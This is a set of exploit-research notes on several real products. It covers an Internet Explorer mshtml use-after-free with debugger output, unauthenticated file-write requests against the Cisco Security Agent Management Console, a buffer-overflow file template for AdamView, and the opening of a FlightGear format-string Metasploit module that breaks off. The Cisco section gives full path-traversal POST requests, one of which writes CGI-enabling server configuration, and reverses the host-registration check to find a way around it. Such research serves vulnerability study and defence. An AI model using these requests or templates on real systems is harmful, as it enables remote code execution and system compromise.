eip=63621339 esp=037cfb88 ebp=037cfba4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CSelectionManager::EnsureEditContext+0x30:
63621339 837f1800        cmp     dword ptr [edi+18h],0 ds:0023:0cc2ef50=????????
0:008> !heap -p -a edi
    address 0cc2ef38 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    c6bc350:          cc2e000             2000
    7c927553 ntdll!RtlFreeHeap+0x000000f9
    6375bc86 mshtml!CSelectionManager::`vector deleting destructor'+0x00000022
    6375b528 mshtml!CSelectionManager::Release+0x0000001e
    6358c7b0 mshtml!CSelectionManager::DoPendingElementExit+0x00000211
    6358c61b mshtml!CSelectionManager::DoPendingTasks+0x00000019
    63621335 mshtml!CSelectionManager::EnsureEditContext+0x0000002c
    6361c2bd mshtml!CHTMLEditor::Notify+0x0000005a
    6361c270 mshtml!CHTMLEditorProxy::Notify+0x00000021
    6360feb4 mshtml!CDoc::NotifySelection+0x00000059
    63620f7f mshtml!CCaret::UpdateScreenCaret+0x000000dd
    63784934 mshtml!CCaret::DeferredUpdateCaretScroll+0x00000032
    6364de62 mshtml!GlobalWndOnMethodCall+0x000000fb
    6363c3c5 mshtml!GlobalWndProc+0x00000183
    7e418734 USER32!InternalCallWinProc+0x00000028
    7e418816 USER32!UserCallWinProcCheckWow+0x00000150
    7e4189cd USER32!DispatchMessageWorker+0x00000306
0:008> u
mshtml!CSelectionManager::EnsureEditContext+0x30:
63621339 837f1800        cmp     dword ptr [edi+18h],0
6362133d 0f8423a52300    je      mshtml!CSelectionManager::EnsureEditContext+0x36 (6385b866)
63621343 5f              pop     edi
63621344 c3              ret
63621345 85c0            test    eax,eax
63621347 7ddb            jge     mshtml!CSelectionManager::EnsureEditContext+0x16 (63621324)
63621349 ebf8            jmp     mshtml!CSelectionManager::EnsureEditContext+0x3b (63621343)
6362134b 85c0            test    eax,eax
0:008> k
ChildEBP RetAddr
037cfb88 6361d930 mshtml!CSelectionManager::EnsureEditContext+0x30
037cfba4 6361c2bd mshtml!CSelectionManager::Notify+0x3a
037cfbb8 6361c270 mshtml!CHTMLEditor::Notify+0x5a
037cfbd4 6360feb4 mshtml!CHTMLEditorProxy::Notify+0x21
037cfbf0 63620f7f mshtml!CDoc::NotifySelection+0x59
037cfd14 63784934 mshtml!CCaret::UpdateScreenCaret+0xdd
037cfd24 6364de62 mshtml!CCaret::DeferredUpdateCaretScroll+0x32
037cfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
037cfd78 7e418734 mshtml!GlobalWndProc+0x183
037cfda4 7e418816 USER32!InternalCallWinProc+0x28
037cfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
037cfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
037cfe7c 02562ec9 USER32!DispatchMessageW+0xf
037cfeec 025048bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
037cffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
037cffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
037cffec 00000000 kernel32!BaseThreadStart+0x37

Without gflags

0:008> r
eax=41424344 ebx=03323060 ecx=7c91003d edx=00000014 esi=00234ec8 edi=0000000c
eip=63620f82 esp=0201fc00 ebp=0201fd14 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
mshtml!CCaret::UpdateScreenCaret+0xe0:
63620f82 8b08            mov     ecx,dword ptr [eax]  ds:0023:41424344=????????
0:008> u
mshtml!CCaret::UpdateScreenCaret+0xe0:
63620f82 8b08            mov     ecx,dword ptr [eax]
63620f84 8d54246c        lea     edx,[esp+6Ch]
63620f88 52              push    edx
63620f89 50              push    eax
63620f8a ff512c          call    dword ptr [ecx+2Ch]
63620f8d 33ff            xor     edi,edi
63620f8f 397c246c        cmp     dword ptr [esp+6Ch],edi
63620f93 0f84669e2100    je      mshtml!CCaret::UpdateScreenCaret+0xf3 (6383adff)
0:008> k
ChildEBP RetAddr
0201fd14 63784934 mshtml!CCaret::UpdateScreenCaret+0xe0
0201fd24 6364de62 mshtml!CCaret::DeferredUpdateCaretScroll+0x32
0201fd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
0201fd78 7e418734 mshtml!GlobalWndProc+0x183
0201fda4 7e418816 USER32!InternalCallWinProc+0x28
0201fe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
0201fe6c 7e418a10 USER32!DispatchMessageWorker+0x306
0201fe7c 00cb2ec9 USER32!DispatchMessageW+0xf
0201feec 00c548bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
0201ffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
0201ffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
0201ffec 00000000 kernel32!BaseThreadStart+0x37
0
Technical Analysis

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Cisco Security Agent Management Console. Authentication is not required to exploit this vulnerability.

The flaw exists within the webagent.exe component which is handed requests by an Apache instance that listens by default on TCP port 443. When handling an st_upload request the process does not properly validate POST parameters used for a file creation. The contents of this newly created file are controllable via another POST variable. A remote attacker can exploit this vulnerability to execute arbitrary code under
the context of the SYSTEM user.

Exploit:

http://downloads.securityfocus.com/vulnerabilities/exploits/46420.py

Installation

I’ve done two installations, both in W2003 SP2 (W2003 is the supported
operating system):

  • fcs-csamc-hotfix-5.1.0.117-w2k3-k9.zip
  • fcs-csamc-hotfix-6.0.0.220-w2k3-k9.zip

Both versions can be easily found in Internet googling by the filename.

Testing the PoC

The PoC doesn’t work for me in 5.1.0.117. Reasons

(1) The path and the parameteres. It can be easily fixed…

PoC request modified to write arbitrary contents to arbitrary file:

POST /csamc51/agent HTTP/1.1
Host: localhost
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-type: multipart/form-data; boundary=172.16.240.1.501.72115.1350048178.818.1
Content-Length: 786

--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="host_uid"

F0888900-ACF9-4728-8F20-08B3E5BBA3AD
--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="extension"

/../../../../../../../../../../../../test.txt
--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="jobname"


--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="diagsu"

asdfafdsasdffdasdfsaadfsadsfadsfdafsadsf
asdfasdfadsfadfssdfasd
fsadadfsadsfsdafafsd
--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="host"

1234
--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="profiler"


--172.16.240.1.501.72115.1350048178.818.1--

After reversing, other paths can be used to write arbitrary contents to arbitrary files, as sample:

POST /csamc51/agent HTTP/1.1
Host: localhost
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-type: multipart/form-data; boundary=172.16.240.1.501.72115.1350048178.818.1
Content-Length: 846

--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="host_uid"

F0888900-ACF9-4728-8F20-08B3E5BBA3AD
--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="extension"

/../../../../../../../../../../../../test.txt
--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="jobname"


--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="diagsu"


--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="diags"


--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="host"

1234
--172.16.240.1.501.72115.1350048178.818.1
Content-Disposition: form-data; name="profiler"

Options +Includes +ExecCGI
AddHandler cgi-script gee
--172.16.240.1.501.72115.1350048178.818.1--

(2) the host uid

Its the major reason which makes the PoC fail, the PoC use a hardcoded host uid
to do its requests:

_host_uid = 'C087EFAE-05A2-4A0B-9512-E05E5ED84AEB'

The host uid identifies a cisco agent and is generated while registration of the
agent with the management console.

Both versions, 5.1.0.117 and 6.0.0.220 check the host uid and doesn’t allow
to upload files if it isn’t a registered uid:

Version 5.1.0.117

  • The host uid fields is read and a pointer stored on host_uid_var_1364:
.text:004847F9                 mov     ecx, [ebp+var_1378]
.text:004847FF                 mov     ebx, [ecx]
.text:00484801                 mov     edi, offset aHost_uid ; "host_uid"
.text:00484806                 mov     esi, ebx
.text:00484808                 mov     ecx, 9
.text:0048480D                 xor     edx, edx
.text:0048480F                 repe cmpsb
.text:00484811                 jnz     short loc_48482C
.text:00484813                 mov     eax, [ebp+var_132C]
.text:00484819                 mov     eax, [eax]
.text:0048481B                 call    sub_47AB50
.text:00484820                 mov     [ebp+host_uid_var_1364], eax
.text:00484826                 mov     eax, [ebp+var_132C]
  • Later the Host ID is checked
.text:00484C19 loc_484C19:                             ; CODE XREF: sub_484350+7A3j
.text:00484C19                 lea     eax, [ebp+var_1354]
.text:00484C1F                 push    eax
.text:00484C20                 mov     ecx, [ebp+host_uid_var_1364]
.text:00484C26                 call    check_uid_hostsub_47B7A0 ; check registration of host uid
.text:00484C2B                 add     esp, 4
.text:00484C2E                 test    eax, eax
.text:00484C30                 jz      short loc_484C49 ; if it has been registered
.text:00484C32                 push    offset aHostidIsNotReg ; "Hostid is not registered for upload"
.text:00484C37                 lea     ecx, [ebp+Dest]
.text:00484C3D                 push    ecx             ; Dest
.text:00484C3E                 call    ds:sprintf
.text:00484C44                 jmp     loc_485221

Version 6.0.0.220

  • Get host uid
.text:00489820                 cmp     dword ptr [eax], 0
.text:00489823                 jz      loc_48998A
.text:00489829                 mov     ecx, [ebp+var_137C]
.text:0048982F                 mov     ebx, [ecx]
.text:00489831                 mov     edi, offset aHost_uid ; "host_uid"
.text:00489836                 mov     esi, ebx
.text:00489838                 mov     ecx, 9
.text:0048983D                 xor     edx, edx
.text:0048983F                 repe cmpsb
.text:00489841                 jnz     short loc_48985C
.text:00489843                 mov     eax, [ebp+host_uid_var_132C]
.text:00489849                 mov     eax, [eax]
.text:0048984B                 call    sub_47E760
.text:00489850                 mov     [ebp+var_1368], eax
.text:00489856                 mov     eax, [ebp+host_uid_var_132C]
  • And check it
.text:00489C50
.text:00489C50 loc_489C50:                             ; CODE XREF: sub_489380+7A3j
.text:00489C50                 lea     eax, [ebp+var_1354]
.text:00489C56                 push    eax
.text:00489C57                 mov     ecx, [ebp+var_1368]
.text:00489C5D                 call    sub_47F890
.text:00489C62                 add     esp, 4
.text:00489C65                 test    eax, eax
.text:00489C67                 jz      short loc_489C80
.text:00489C69                 push    offset aHostidIsNotReg ; "Hostid is not registered for upload"
.text:00489C6E                 lea     ecx, [ebp+Dest]
.text:00489C74                 push    ecx             ; Dest
.text:00489C75                 call    ds:sprintf
.text:00489C7B                 jmp     loc_48A272
  • Solutions

The registration doesn’t need authenticaiton (if ACL’s hasn’t been configured
in the management console, by defalut anyone can register).

Options:

(1) Easy: Provide in the module a HOSTUID option, and give instruction about
how to get a valid HOSTUID, basically the user should install a cisco agent,
configure the management console as the victim, and get the legit HOSTUID which
is saved automatically in the configuration file of the agent.
(2) Hard: Reverse the registrarion process. A little tricky because all the
communications go via SSL… anyway… playing with it!
(3) Check check_uid_hostsub_47B7A0 in case there is a bypass for the check
of the host id

  • Who is making the registration??

According to my analysis the registration seems to be done by leventmgr.exe. I’ve get
a wireshark capture of the supposed registration, and I’ve the private key for the server,
but I haven’t been able to decrypt the ssl traffic with the wireshark capabilities (I configured
the SSL private key… still no success).

The pcap file, and the certificate plus the private key for the server component are attached in the
analysis directory.

Next steps: continue with the reversing of leventmgr.exe

Hooking SSL_read and SSL_write from SSLEAY32 is possible to look at the SSL encrypted communication…

02637008  50 4f 53 54 20 2f 63 73-61 6d 63 35 31 2f 61 67  POST /csamc51/ag
02637018  65 6e 74 20 48 54 54 50-2f 31 2e 31 0d 0a 48 6f  ent HTTP/1.1..Ho
02637028  73 74 3a 20 6a 66 65 64-6e 2d 36 65 64 32 64 62  st: jfedn-6ed2db
02637038  36 63 61 38 3a 35 34 30-31 0d 0a 50 72 61 67 6d  6ca8:5401..Pragm
02637048  61 3a 20 6e 6f 2d 63 61-63 68 65 0d 0a 41 63 63  a: no-cache..Acc
02637058  65 70 74 2d 65 6e 63 6f-64 69 6e 67 3a 20 67 7a  ept-encoding: gz
02637068  69 70 0d 0a 43 6f 6e 74-65 6e 74 2d 4c 65 6e 67  ip..Content-Leng
02637078  74 68 3a 20 34 33 32 0d-0a 43 6f 6e 74 65 6e 74  th: 432..Content
02637088  2d 54 79 70 65 3a 20 61-70 70 6c 69 63 61 74 69  -Type: applicati
02637098  6f 6e 2f 78 2d 77 77 77-2d 66 6f 72 6d 2d 75 72  on/x-www-form-ur
026370a8  6c 65 6e 63 6f 64 65 64-0d 0a 0d 0a 0d f0 ad ba  lencoded........
0:035> db 01dbfd39 L1B0
01dbfd39  63 70 61 79 6c 6f 61 64-3d 78 9c 95 51 cb 4e c3  cpayload=x..Q.N.
01dbfd49  30 10 fc 15 5f 2a c1 61-25 32 42 bf 93 c2 29 29  0..._*.a%2B...))
01dbfd59  c9 01 a9 08 a9 15 1c 10-07 27 76 db 40 9a 94 e6  .........'v.@...
01dbfd69  51 54 c4 bf b3 5b 1e 77-64 79 66 34 ab 9d 5d cb  QT...[.wdyf4..].
01dbfd79  17 43 e5 e1 23 4f 73 6b-e2 24 85 79 9c 1b d0 52  .C..#Osk.$.y...R
01dbfd89  25 32 36 10 cf e7 39 58-9d a9 24 cf 52 25 32 35  %26...9X..$.R%25
01dbfd99  4c f4 c9 b6 6d d7 c3 cb-3a f8 06 6c f0 d2 17 b6  L...m...:..l....
01dbfda9  74 31 f3 5d 09 8f 55 e3-db 63 77 b7 9a 48 6e a6  t1.]..U..cw..Hn.
01dbfdb9  72 aa a2 19 47 b9 0c 87-b1 2a 03 aa 7b 57 be 22  r...G....*..{W."
01dbfdc9  49 bc 4f fd f2 19 69 22-e3 ac d9 d4 55 b7 9d c8  I.O...i"....U...
01dbfdd9  19 d9 ef b1 45 5a bb 1d-22 a9 5d eb 43 8d ac a9  ....EZ..".].C...
01dbfde9  a9 eb c3 1e 29 a2 4e c1-a5 5a a4 28 56 6e 73 85  ....).N..Z.(Vns.
01dbfdf9  f4 b0 38 ba 43 25 30 30-43 4d da d3 06 a4 82 42  ..8.C%00CM.....B
01dbfe09  70 04 9c 56 d1 e4 09 09-45 41 31 14 e9 34 01 d9  p..V....EA1..4..
01dbfe19  2a fa 03 2a 14 fc 7b bd-db c1 35 14 ef 4e 6f 43  *..*..{...5..NoC
01dbfe29  38 e1 96 6c 5f f7 ff 7e-ea f5 cf 25 32 42 d9 30  8..l_..~...%2B.0
01dbfe39  40 a6 8c d5 37 c6 02 e7-89 02 21 b5 85 34 8d 24  @...7.....!..4.$
01dbfe49  24 3a b1 2a c2 23 53 ce-da ee 77 06 a5 70 ae 58  $:.*.#S...w..p.X
01dbfe59  bb 73 60 10 25 32 42 90-58 dd 13 16 b5 07 9a cc  .s`.%2B.X.......
01dbfe69  c6 73 6d c4 9a 60 23 b9-42 44 8c fe 49 72 76 a8  .sm..`#.BD..Irv.
01dbfe79  47 74 cb f5 19 7b b7 04-c1 39 bb fc 02 a6 46 85  Gt...{...9....F.
01dbfe89  1c 26 70 61 79 6c 6f 61-64 5f 6c 65 6e 67 74 68  .&payload_length
01dbfe99  3d 34 39 38 26 64 73 74-3d 35 26 61 70 74 79 70  =498&dst=5&aptyp
01dbfea9  65 3d 31 36 26 61 70 76-65 72 73 69 6f 6e 3d 33  e=16&apversion=3
01dbfeb9  26 68 6f 73 74 5f 75 69-64 3d 7b 46 42 46 36 35  &host_uid={FBF65
01dbfec9  38 41 42 2d 43 38 46 35-2d 34 32 32 41 2d 38 43  8AB-C8F5-422A-8C
01dbfed9  43 46 2d 36 34 45 33 41-46 45 42 33 31 35 37 7d  CF-64E3AFEB3157}

now would be nice to find a way to clean the client state and get the full communication to
register a new host. Anyway, this cpayload field doesn’t look very good…. seems like even
over ssl, the payload while registration messages go encoded… more reversing needed here.

1
Technical Analysis

Details

According to the official advisory there is a trivial bof on adamview.exe (Adamview builder):

.text:00475BA0 push    ebx
.text:00475BA1 lea     ecx, [esp+4Ch+String1]
.text:00475BA5 push    offset aDisplayDesigne ; "Display Designer: %s"
.text:00475BAA push    ecx             ; LPSTR
.text:00475BAB mov     esi, eax
.text:00475BAD call    ds:wsprintfA

Indeed the overflow is obvious and can be easily reached with GNI with a display designer window
with a big name.

Inside the file, the designer string is saved as:

2 bytes length / Designer string ending with NULL (0x00)

Since the wsprintf copies the designer name, read from the file, to a stack buffer:

-00000034 String1

It is trival to trigger the overflow:

  def template
    gni = [
      0x41, 0x47, 0x4E, 0x49, 0xAE, 0x01, 0x04, 0x00,
      0xEA, 0x45, 0x20, 0x78, 0x1E, 0x75, 0xF8, 0x18,
      0xDC, 0x45, 0x46, 0xC0, 0x06, 0x2D, 0xF0, 0x20,
      0x92, 0x6D, 0xC0, 0x9C, 0x02, 0x89, 0xF0, 0x44,
      0x06, 0x4D, 0x00, 0x00, 0x48, 0x45, 0x41, 0x44,
      0x16, 0x00, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0xFF,
      0x00, 0x00, 0x00, 0x00, 0x80, 0x02, 0xE0, 0x01,
      0x53, 0x57, 0x50, 0x4C, 0x30, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0xFF,
      0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
      0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE4, 0x02,
      0x00, 0x00, 0x9D, 0x01, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x54,
      0x53, 0x4B, 0x76, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x2A, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
      0x16, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
      0x54, 0x41, 0x53, 0x4B, 0x31, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0xC8, 0x42, 0x45, 0x54, 0x53, 0x4B, 0x50, 0x57,
      0x50, 0x4C, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x01, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
      0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
      0xFF, 0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00,
      0x2D, 0x00, 0x00, 0x00, 0x41, 0x03, 0x00, 0x00,
      0xCB, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x01,
      0x00].pack("C*")

    bof = rand_text(target['Offset'])
    bof << [target.ret].pack("V") # eip
    bof << rand_text(4) # padding
    bof << rand_text_alpha_upper(4) # payload
    bof << "\x00"
    gni << [bof.length].pack("v")
    gni << bof

    gni << [0x50, 0x45, 0x4E, 0x44, 0x46, 0x56,
      0x4B, 0x53, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x45,
      0x54, 0x4B, 0x41, 0x44, 0x41, 0x4D, 0x56, 0x69,
      0x65, 0x77, 0x00, 0xEC, 0x00, 0x00, 0xD0, 0x07,
      0xD0, 0x07, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00,
      0x00, 0x00, 0x5A, 0x45, 0x4F, 0x46
    ].pack("C*")

Unfortunately, there is a heap overflow, previously to the stack overflow, which makes exploitation
super unstable on Windows 7 SP1 (I guess more modern systems too). The same vulnerable function is used
to read the designer name from the file:

.text:00475B38 lea     eax, [esp+48h+var_38]
.text:00475B3C push    2               ; SIZE
.text:00475B3E push    eax             ; DST
.text:00475B3F mov     ecx, esi
.text:00475B41 call    dword ptr [edx+3Ch] ; MFC42!CFile::Read, it's reading the size
.text:00475B44 mov     eax, [esp+48h+var_38]
.text:00475B48 mov     edx, [esi]      ; {MFC42!CFile::`vftable'} => [esi]
.text:00475B4A and     eax, 0FFFFh
.text:00475B4F mov     ecx, esi
.text:00475B51 push    eax             ; size
.text:00475B52 push    ebx             ; dst
.text:00475B53 call    dword ptr [edx+3Ch] ; MFC42!CFile::Read
.text:00475B56 push    ebx             ; Str
.text:00475B57 call    ds:_strupr      ; uppercase

First 2 bytes are read from the file, and stored in the stack. It is the Designer string length.

After it, this length size is read from the file and stored in the memory pointed by ebx:

00475B24 lea     ebx, [edi+2F1h]

ebx pointes to an offset inside edi, which points to a buffer in the heap. Where this heap buffer
comes from from?:

0:000> !heap -p -a 08af2ec9
    address 08af2ec9 found in
    _DPH_HEAP_ROOT @ 1a21000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 8aa12a4:          8af2bd8              428 -          8af2000             2000
          ? ADAMView!DlgProc+1d4c8
    732b8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77355e26 ntdll!RtlDebugAllocateHeap+0x00000030
    7731a376 ntdll!RtlpAllocateHeap+0x000000c4
    772e5ae0 ntdll!RtlAllocateHeap+0x0000023a
    75db9d45 msvcrt!malloc+0x0000008d
    6f5eff9e MFC42!operator new+0x00000015
    00474790 ADAMView!ColorBox::ColorBoxDlgSubclassProc+0x00014ac0
    6f5ffef3 MFC42!CFrameWnd::CreateView+0x00000017
    6f5ffec6 MFC42!CFrameWnd::OnCreateClient+0x0000001c
    6f600ac3 MFC42!CFrameWnd::OnCreateHelper+0x00000031
    6f600a8e MFC42!CMDIChildWnd::OnCreate+0x00000014
    6f5feadb MFC42!CWnd::OnWndMsg+0x00000272
    6f5f3687 MFC42!CWnd::WindowProc+0x0000002e
    6f5fa361 MFC42!AfxCallWndProc+0x000000b5
    6f5fa2b9 MFC42!AfxWndProc+0x0000003e
    6f5fa571 MFC42!AfxWndProcBase+0x00000057
    75a0c4e7 USER32!InternalCallWinProc+0x00000023
    75a05f9f USER32!UserCallWinProcCheckWow+0x000000e0
    75a04f0e USER32!DispatchClientMessage+0x000000da
    759fe98a USER32!__fnINLPCREATESTRUCT+0x0000008b
    772d6fee ntdll!KiUserCallbackDispatcher+0x0000002e
    759fec54 USER32!_CreateWindowEx+0x00000201
    759fbf73 USER32!CreateWindowExA+0x00000033
    75a1f67c USER32!MDIClientWndProcWorker+0x000003b7
    75a22bca USER32!MDIClientWndProcA+0x00000022
    75a0c4e7 USER32!InternalCallWinProc+0x00000023
    75a0c5e7 USER32!UserCallWinProcCheckWow+0x0000014b
    75a05294 USER32!SendMessageWorker+0x000004d0
    759fada9 USER32!SendMessageA+0x0000007c
    6f600a10 MFC42!CMDIChildWnd::Create+0x000000fe
    6f6000dc MFC42!CMDIChildWnd::LoadFrame+0x000000c7
    6f60120e MFC42!CDocTemplate::CreateNewFrame+0x00000067

It’s a 0x428 buffer allocated on sub_474770

.text:0047477D push    eax
.text:0047477E mov     large fs:0, esp
.text:00474785 push    ecx
.text:00474786 push    428h            ; unsigned int
.text:0047478B call    ??2@YAPAXI@Z    ; operator new

Since the string read from the file is copied to offset 0x271, it lefts 311 bytes before
the heap buffer is overflowed.

Unfortunately, just after read the string from the file and store it in the heap, it happens:

.text:00475B53 call    dword ptr [edx+3Ch] ; MFC42!CFile::Read
.text:00475B56 push    ebx             ; Str
.text:00475B57 call    ds:_strupr      ; uppe

The string in the heap is converted to uppercase. It means a lot of “badchars”. So overflowing
EIP and storing the payload on 311 bytes doesn’t look feasible (at least usign the upper
encoder).

Of course, we can overflow the heap and pry for the execution to reach the stack overflow and
the ret. Unfortunately too many things happen between the heap and the stack overflow:

.text:00475B57                 call    ds:_strupr      ; uppercase
.text:00475B5D                 add     esp, 4
.text:00475B60                 lea     ecx, [esp+48h+String1]
.text:00475B64                 push    ebx             ; lpString2
.text:00475B65                 push    ecx             ; lpString1
.text:00475B66                 call    ds:lstrcmpA
.text:00475B6C                 test    eax, eax
.text:00475B6E                 jz      short loc_475B80
.text:00475B70                 lea     edx, [esp+48h+String1]
.text:00475B74                 push    ebx             ; char *
.text:00475B75                 push    edx             ; char *
.text:00475B76                 mov     ecx, offset unk_4BEEA8 ; this
.text:00475B7B                 call    ?ChangeTaskName@CDBCenter@@QAEKPBD0@Z ; CDBCenter::ChangeTaskName(char const *,char const *)
.text:00475B80
.text:00475B80 loc_475B80:                             ; CODE XREF: sub_475AA0+CEj
.text:00475B80                 mov     eax, [esi]
.text:00475B82                 push    0
.text:00475B84                 push    ebp
.text:00475B85                 mov     ecx, esi
.text:00475B87                 call    dword ptr [eax+30h]
.text:00475B8A                 push    esi             ; hMem
.text:00475B8B                 mov     ecx, edi
.text:00475B8D                 call    sub_479950
.text:00475B92                 mov     ecx, edi
.text:00475B94                 call    sub_475980
.text:00475B99                 mov     ecx, edi        ; this
.text:00475B9B                 call    ?GetParentFrame@CWnd@@QBEPAVCFrameWnd@@XZ ; CWnd::GetParentFrame(void)
.text:00475BA0                 push    ebx
.text:00475BA1                 lea     ecx, [esp+4Ch+String1]
.text:00475BA5                 push    offset aDisplayDesigne ; "Display Designer: %s"
.text:00475BAA                 push    ecx             ; LPSTR
.text:00475BAB                 mov     esi, eax
.text:00475BAD                 call    ds:wsprintfA

On windows 7 SP1 the heap is used between the overflows, and the corrupted heap makes the process to crash before
reaching the stack overflow and control EIP later.

Also egghunting doesn’t look a good option, because all the file contents aren’t in memory at the moment of the overflow.

So for example adding the payload as garbage at the end of the file, results with the payload not in memory when
controlling EIP :...

Even when the HEAP overflow isn’t reported in the core advisory, and there are probably a lot of other vulnerabilities,
the software is unsupported atm. Even the CORE vuln wasn’t fixed, so I don’t think it’s worth to invest more time here.

1
Technical Analysis
  • Vuln analysis:

In source code:

  double count = acloud->getDoubleValue("count", 1.0);
    tCloudVariety[CloudVarietyCount].count = count;
    int variety = 0;
    cloud_name = cloud_name + "-%d";
    char variety_name[50];
    do {
         variety++;
         snprintf(variety_name, sizeof(variety_name) - 1, cloud_name.c_str(), variety); // Vulnerable snprintf
    } while( box_def_root->getChild(variety_name, 0, false) );
    totalCount += count;
    if( CloudVarietyCount < 20 )
         CloudVarietyCount++;
  }
}

totalCount = 1.0 / totalCount;
  • PoC:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FlightGear Format String',
      'Description'    => %q{
          This module exploits .....
      },
      'Author'         => [ 'juan vazquez' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '92872' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x20\x0a\x0d",
          'DisableNops'  =>  'true',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'FlightGear',   { 'Ret' => 0x41414141 } ]
        ],
